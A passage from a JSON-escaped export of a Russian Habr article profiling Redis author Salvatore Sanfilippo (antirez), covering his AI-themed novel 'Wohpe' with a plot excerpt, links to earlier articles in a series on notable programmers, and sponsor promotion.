\u043f\u0440\u0438\u0442\u044f\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0434\u0440\u0443\u0433 \u043a \u0434\u0440\u0443\u0433\u0443\u2026<\/p>\n<h2><font color=\"#3AC1EF\">\u258d \u041d\u0430\u0443\u0447\u043d\u0430\u044f \u0444\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u043a\u0430<\/font><\/h2>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/webt\/ot\/mw\/og\/otmwog65kdj0ni_mrlor4tuplcs.jpeg\" align=\"right\" width=\"285\" data-src=\"https:\/\/habrastorage.org\/webt\/ot\/mw\/og\/otmwog65kdj0ni_mrlor4tuplcs.jpeg\" data-blurred=\"true\"\/>\u0423\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0439 \u0440\u043e\u043c\u0430\u043d <a href=\"https:\/\/www.amazon.com\/Wohpe-English-Rimmel-Salvatore-Sanfilippo-ebook\/dp\/B0BQ3HRDPF\">\u00ab\u0412\u043e\u0445\u043f\u0435\u00bb<\/a> (Wohpe), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u0432\u043b\u0451\u043a \u0421\u0430\u043b\u044c\u0432\u0430\u0442\u043e\u0440\u0435 \u043e\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430, \u043f\u043e\u0441\u0432\u044f\u0449\u0451\u043d \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u0435\u043c\u0435 \u0418\u0418, \u043f\u0440\u0438\u0447\u0451\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u043d <i>\u0434\u043e<\/i> \u043d\u044b\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0445\u0430\u0439\u043f\u0430. \u041f\u0440\u043e\u0447\u0438\u0442\u0430\u0432 \u0434\u0432\u0430 \u0434\u0435\u0441\u044f\u0442\u043a\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u0433\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430 \u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0430 Amazon, \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0441\u044e\u0436\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439. \u0421\u0430\u043c \u0430\u0432\u0442\u043e\u0440 \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e \u0431\u0443\u043c\u0430\u0436\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043d\u0430 \u0438\u0442\u0430\u043b\u044c\u044f\u043d\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u043f\u0440\u043e\u0434\u0430\u0451\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0440\u043e\u0448\u043e. \u041a\u043d\u0438\u0433\u0430 \u0432\u043e\u0448\u043b\u0430 \u0432 \u0447\u0438\u0441\u043b\u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u043d\u0430\u0443\u0447\u043d\u043e-\u0444\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0439 \u0432 \u0418\u0442\u0430\u043b\u0438\u0438 (\u0430\u043d\u0433\u043b\u043e\u044f\u0437\u044b\u0447\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043d\u0430 \u0431\u0443\u043c\u0430\u0433\u0435 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0432\u044b\u0448\u043b\u0430).<\/p>\n<blockquote><p>\u2026 \u041d\u0430\u0442\u0430\u043d \u0424\u0440\u0430\u0439, \u0438\u043d\u0436\u0435\u043d\u0435\u0440-\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u0431\u0435\u0441\u043f\u0438\u043b\u043e\u0442\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d, \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043d\u0430 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u043e\u0432\u0435\u043d\u044c\u043a\u0443\u044e \u043d\u0435\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u0441 10<sup>16<\/sup> \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432. \u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0430\u0442\u0438\u0442\u044c \u0433\u043e\u0434\u044b \u043d\u0430 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u0438. \u0412\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u043d\u0430\u0434\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u0431\u0438\u0437\u043d\u0435\u0441 \u0435\u0441\u0442\u044c \u0431\u0438\u0437\u043d\u0435\u0441.<\/p>\n<p>  \u0412\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u0438\u043b\u0430 \u0441\u0435\u0431\u044f \u0438\u0434\u0435\u0430\u043b\u044c\u043d\u043e, \u0437\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u043d\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438: \u043f\u0440\u0438 \u043d\u0435\u0438\u0437\u0431\u0435\u0436\u043d\u043e\u043c \u0441\u0442\u043e\u043b\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0438 \u0441 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u043c\u0438 \u043e\u043d\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0430 \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c \u0446\u0435\u043b\u044c, \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0440\u0430\u0441\u0447\u0451\u0442\u043e\u0432 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u0430\u0441\u0441\u0430\u0436\u0438\u0440\u043e\u0432, \u0438\u0445 \u0441\u0440\u0435\u0434\u043d\u0435\u0433\u043e \u0432\u043e\u0437\u0440\u0430\u0441\u0442\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432. \u041f\u0440\u0438\u0447\u0451\u043c \u044d\u0442\u0438 \u044d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u0440\u0440\u0430\u0442\u0438\u0432\u044b \u0432 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u043b. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0438\u0445 \u0432\u044b\u0432\u0435\u043b\u0430 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438 \u0441\u043c\u0435\u0440\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0430\u0432\u0430\u0440\u0438\u044f\u0445, \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0436\u0438\u0437\u043d\u0438, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0430\u0442\u043e\u043b\u043e\u0433\u0438\u044f\u0445 \u0438 \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u0414\u0422\u041f. <\/p>\n<p>  \u0412 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435, \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0442\u0430\u043a\u043e\u0435 \u0432 \u0430\u0432\u0442\u043e\u043f\u0438\u043b\u043e\u0442\u0430\u0445 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0432\u043f\u0435\u0440\u0432\u044b\u0435, \u043d\u043e \u044d\u0442\u043e \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u043e\u0431\u0449\u0443\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c, \u0440\u0435\u0448\u0438\u043b\u0438 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u044b\u00a0\u2014 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0432 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f. \u041e\u043d\u0438 \u043d\u0435 \u043f\u043e\u0434\u0443\u043c\u0430\u043b\u0438 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0430\u0432\u0442\u043e\u043f\u0438\u043b\u043e\u0442\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c. \u041d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044c \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043c\u043d\u043e\u0433\u043e \u0431\u0435\u0440\u0451\u0442 \u043d\u0430 \u0441\u0435\u0431\u044f, \u0440\u0435\u0448\u0430\u044f, \u043a\u043e\u043c\u0443 \u0436\u0438\u0442\u044c, \u0430 \u043a\u043e\u043c\u0443 \u0443\u043c\u0435\u0440\u0435\u0442\u044c, \u043a\u0430\u043a \u0431\u0443\u0434\u0442\u043e \u0443 \u043d\u0435\u0451 \u0435\u0441\u0442\u044c \u0440\u0430\u0437\u0443\u043c\u2026<\/p>\n<p>  \u0412 \u043e\u0431\u0449\u0435\u043c, \u0443\u0436\u0435 \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u0437\u0430\u0435\u0437\u0434\u0435 \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u044f\u0432\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u043d\u0435\u043e\u0440\u0434\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440, \u043e\u0442\u043a\u0430\u0437\u0430\u0432\u0448\u0438\u0441\u044c \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u043e\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 \u043c\u0435\u0436\u0434\u0443 \u043f\u0435\u0448\u0435\u0445\u043e\u0434\u043e\u043c \u0438 \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c\u00a0\u2014 \u0438 \u0432\u044b\u0431\u0440\u0430\u043b\u0430 \u0442\u0440\u0435\u0442\u0438\u0439 \u043f\u0443\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0433 \u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u0442\u044c. \u041e\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u0431\u0435\u0436\u0430\u043b\u0430 \u0441 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0442\u0440\u0435\u043a\u0430, \u0441\u043b\u043e\u043c\u0430\u0432 \u043e\u0433\u0440\u0430\u0434\u0443, \u0441 \u043e\u0448\u0430\u043b\u0435\u043b\u044b\u043c \u043e\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e \u0442\u0435\u0441\u0442-\u043f\u0438\u043b\u043e\u0442\u043e\u043c \u0432\u043d\u0443\u0442\u0440\u0438. \u0418 \u0442\u0430\u043a\u043e\u0435 \u0432\u043f\u0435\u0447\u0430\u0442\u043b\u0435\u043d\u0438\u0435, \u0447\u0442\u043e <i>\u0441\u043e\u043b\u0434\u0430\u0442\u044b<\/i> \u0432 \u0435\u0451 \u043a\u043e\u044d\u0444\u0444\u0438\u0446\u0438\u0435\u043d\u0442\u0430\u0445 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u044e\u0434\u044c\u043c\u0438 \u0441 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0436\u0438\u0437\u043d\u0438, \u043a\u0430\u043a \u0443 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0441\u043a\u0438\u0445, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0430 \u043f\u0435\u0440\u0435\u0435\u0445\u0430\u043b\u0430 \u0441\u043e\u043b\u0434\u0430\u0442\u0430\u2026 <\/p>\n<p>  \u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044c \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0433\u043e \u0432\u0437\u043e\u0440\u0432\u0430\u043b\u0438 \u0440\u0430\u043a\u0435\u0442\u043e\u0439. \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u0431\u044b\u043b\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u043e \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u0435 \u0441\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435, \u0441\u0442\u0440\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u0418\u0418.<\/p>\n<p>  \u041d\u043e \u0447\u0435\u0440\u0435\u0437 20 \u043b\u0435\u0442 \u0443\u0447\u0451\u043d\u044b\u0435 \u0432\u0441\u0451-\u0442\u0430\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u00ab\u0412\u043e\u0445\u043f\u0435\u00bb. \u0421 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435\u043c \u0432\u0441\u0435\u0445 \u043c\u0435\u0440 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0432 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u043d\u0435\u0447\u0435\u0433\u043e \u0431\u043e\u044f\u0442\u044c\u0441\u044f&#8230;<\/p><\/blockquote>\n<p>  \u0421\u0440\u0435\u0434\u043d\u044f\u044f \u043e\u0446\u0435\u043d\u043a\u0430 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u0435\u0439 4,5 (80% \u043e\u0446\u0435\u043d\u043e\u043a 5) \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043c\u043d\u043e\u0433\u043e\u043e\u0431\u0435\u0449\u0430\u044e\u0449\u0435, \u0445\u043e\u0442\u044f \u0442\u0430\u043c \u0432\u0441\u0435\u0433\u043e 24 \u043e\u0446\u0435\u043d\u043a\u0438, \u044d\u0442\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0440\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0438\u043a\u0438 \u0438 \u0434\u0440\u0443\u0437\u044c\u044f \u0421\u0430\u043b\u044c\u0432\u0430\u0442\u043e\u0440\u0435. <\/p>\n<p>  \u041c\u043d\u043e\u0433\u0438\u0435 \u0442\u0430\u043b\u0430\u043d\u0442\u043b\u0438\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u044b \u043f\u043b\u0430\u043d\u0435\u0442\u044b <a href=\"https:\/\/habr.com\/ru\/companies\/ruvds\/articles\/728056\/\">\u0441\u0435\u0439\u0447\u0430\u0441<\/a> <a href=\"https:\/\/habr.com\/ru\/companies\/ruvds\/articles\/739392\/\">\u0437\u0430\u043d\u044f\u0442\u044b<\/a> <a href=\"https:\/\/habr.com\/ru\/company\/ruvds\/blog\/721150\/\">\u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\u043c<\/a> \u0440\u0430\u0437\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0418\u0418, \u0434\u0430\u0436\u0435 \u0421\u0435\u0440\u0433\u0435\u0439 \u0411\u0440\u0438\u043d \u0440\u0430\u0434\u0438 \u044d\u0442\u043e\u0433\u043e <a href=\"https:\/\/www.wsj.com\/articles\/sergey-brin-google-ai-gemini-1b5aa41e\">\u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u0438\u0437 \u043c\u043d\u043e\u0433\u043e\u043b\u0435\u0442\u043d\u0435\u0433\u043e \u043e\u0442\u043f\u0443\u0441\u043a\u0430<\/a>. \u0410 \u0432\u043e\u0442 <i>antirez<\/i> \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u043e \u043d\u0438\u0445 \u043a\u043d\u0438\u0433\u0438, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c. \u0412 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u0442\u0432\u0430 \u043d\u0430 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0433\u043e\u0434\u044b \u0432\u043f\u043e\u043b\u043d\u0435 \u044f\u0441\u0435\u043d, \u0438 \u0430\u0432\u0442\u043e\u0440 Redis \u043d\u0435 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0435\u2026<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0412\u044b\u0434\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u044b 21 \u0432\u0435\u043a\u0430. \u041f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u0441\u0435\u0440\u0438\u0438<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<ul>\n<li><a href=\"https:\/\/habr.com\/ru\/company\/ruvds\/blog\/682150\/\">\u0414\u0436\u0430\u0441\u0442\u0438\u043d \u0422\u0430\u043d\u043d\u0438<\/a>  <\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/company\/ruvds\/blog\/688716\/\">\u0414\u0436\u0435\u0439 \u0424\u0440\u0438\u043c\u0430\u043d (saurik)<\/a>  <\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/company\/ruvds\/blog\/695386\/\">\u041c\u0438\u0445\u0430\u043b \u0417\u0430\u043b\u0435\u0432\u0441\u043a\u0438<\/a>  <\/li>\n<li>\u0414\u0436\u043e\u043d \u041a\u0430\u0440\u043c\u0430\u043a: <a href=\"https:\/\/habr.com\/ru\/company\/ruvds\/blog\/701556\/\">1<\/a>, <a href=\"https:\/\/habr.com\/ru\/company\/ruvds\/blog\/721150\/\">2<\/a>  <\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/company\/ruvds\/blog\/710268\/\">\u041c\u0430\u0440\u043a \u0420\u0443\u0441\u0441\u0438\u043d\u043e\u0432\u0438\u0447<\/a>  <\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/company\/ruvds\/blog\/713648\/\">\u042e\u0440\u043a\u0438 \u0410\u043b\u0430\u043a\u0443\u0439\u044f\u043b\u0430<\/a>  <\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/companies\/ruvds\/articles\/728056\/\">\u0410\u043d\u0434\u0440\u0435\u0439 \u041a\u0430\u0440\u043f\u0430\u0442\u044b<\/a>  <\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/companies\/ruvds\/articles\/733002\/\">\u0414\u0430\u043d\u0438\u044d\u043b\u044c \u0421\u0442\u0435\u043d\u0431\u0435\u0440\u0433, \u0430\u0432\u0442\u043e\u0440 curl<\/a>  <\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/companies\/ruvds\/articles\/739392\/\">\u041a\u043e\u043b\u0438\u043d \u041f\u0435\u0440\u0441\u0438\u0432\u0430\u043b\u044c, \u0430\u0432\u0442\u043e\u0440 tarsnap<\/a>  <\/li>\n<li><a href=\"https:\/\/habr.com\/ru\/companies\/ruvds\/articles\/739392\/\">\u0414\u0436\u0435\u0444\u0444 \u0414\u0438\u043d<\/a><\/li>\n<\/ul>\n<\/div><\/div>\n<p>  <\/p>\n<blockquote><p><b><font color=\"#3AC1EF\"><a href=\"https:\/\/t.me\/ruvds_community\">Telegram-\u043a\u0430\u043d\u0430\u043b \u0441 \u0440\u043e\u0437\u044b\u0433\u0440\u044b\u0448\u0430\u043c\u0438 \u043f\u0440\u0438\u0437\u043e\u0432, \u043d\u043e\u0432\u043e\u0441\u0442\u044f\u043c\u0438 IT \u0438 \u043f\u043e\u0441\u0442\u0430\u043c\u0438 \u043e \u0440\u0435\u0442\u0440\u043e\u0438\u0433\u0440\u0430\u0445 ?\ufe0f<\/a><\/font><\/b><\/p><\/blockquote>\n<p><a href=\"http:\/\/ruvds.com\/ru-rub?utm_source=habr&amp;utm_medium=article&amp;utm_campaign=alizar&amp;utm_content=subd_redis_i_eyo_avtor_antirez_programmist_i_fantast\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/tp\/sk\/z-\/tpskz-7w7a8e74isoowuep40xeg.png\" data-src=\"https:\/\/habrastorage.org\/webt\/tp\/sk\/z-\/tpskz-7w7a8e74isoowuep40xeg.png\"\/><\/a><\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/758112\/\"> https:\/\/habr.com\/ru\/articles\/758112\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"><a href=\"https:\/\/habr.com\/ru\/companies\/ruvds\/articles\/758112\/\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/webt\/mc\/zb\/p-\/mczbp-h9sngyh7y4ivem2pvuio0.jpeg\" data-src=\"https:\/\/habrastorage.org\/webt\/mc\/zb\/p-\/mczbp-h9sngyh7y4ivem2pvuio0.jpeg\" data-blurred=\"true\"\/><\/a><\/p>\n<p>  <a href=\"http:\/\/invece.org\/\">\u0421\u0430\u043b\u044c\u0432\u0430\u0442\u043e\u0440\u0435 \u0421\u0430\u043d\u0444\u0438\u043b\u0438\u043f\u043f\u043e<\/a> aka <i>antirez<\/i>\u00a0\u2014 \u0438\u0442\u0430\u043b\u044c\u044f\u043d\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442, \u043f\u0440\u043e\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u0432 \u041a\u0430\u0442\u0430\u043d\u0438\u0438 (\u043d\u0430 \u043e\u0441\u0442\u0440\u043e\u0432\u0435 \u0421\u0438\u0446\u0438\u043b\u0438\u044f). \u041f\u0440\u043e\u0432\u0438\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u0437\u0432\u0435\u0437\u0434\u0435 IT-\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438: \u043e\u043d \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043d\u0430 \u0432\u0435\u0441\u044c \u043c\u0438\u0440 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440 \u0421\u0423\u0411\u0414 Redis. 46-\u043b\u0435\u0442\u043d\u0438\u0439 <i>antirez<\/i> \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0447\u0438\u0441\u043b\u043e \u0441\u0430\u043c\u044b\u0445 \u0430\u0432\u0442\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u044b\u0445 \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u043b\u0438\u0432\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u043e\u0432-\u043e\u0434\u0438\u043d\u043e\u0447\u0435\u043a \u0441 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u043c \u0431\u044d\u043a\u0433\u0440\u0430\u0443\u043d\u0434\u043e\u043c.<\/p>\n<p>  \u0412 2020 \u0433\u043e\u0434\u0443 \u043e\u043d \u0437\u0430\u0432\u044f\u0437\u0430\u043b \u0431\u044b\u043b\u043e \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u0447\u0442\u043e\u0431\u044b \u0446\u0435\u043b\u044b\u043c\u0438 \u0434\u043d\u044f\u043c\u0438 \u043f\u0438\u0441\u0430\u0442\u044c \u043d\u0430\u0443\u0447\u043d\u0443\u044e \u0444\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u043a\u0443. \u041d\u043e \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0432 <a href=\"https:\/\/www.amazon.com\/Wohpe-English-Rimmel-Salvatore-Sanfilippo-ebook\/dp\/B0BQ3HRDPF\">\u043a\u043d\u0438\u0433\u0443<\/a>, \u0432 \u043a\u043e\u043d\u0446\u0435 2022-\u0433\u043e \u0441\u043d\u043e\u0432\u0430 \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u043a \u043a\u043e\u0434\u0443. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043c\u0435\u0436\u0434\u0443 \u043b\u0438\u0442\u0435\u0440\u0430\u0442\u0443\u0440\u043d\u044b\u043c \u0442\u0432\u043e\u0440\u0447\u0435\u0441\u0442\u0432\u043e\u043c 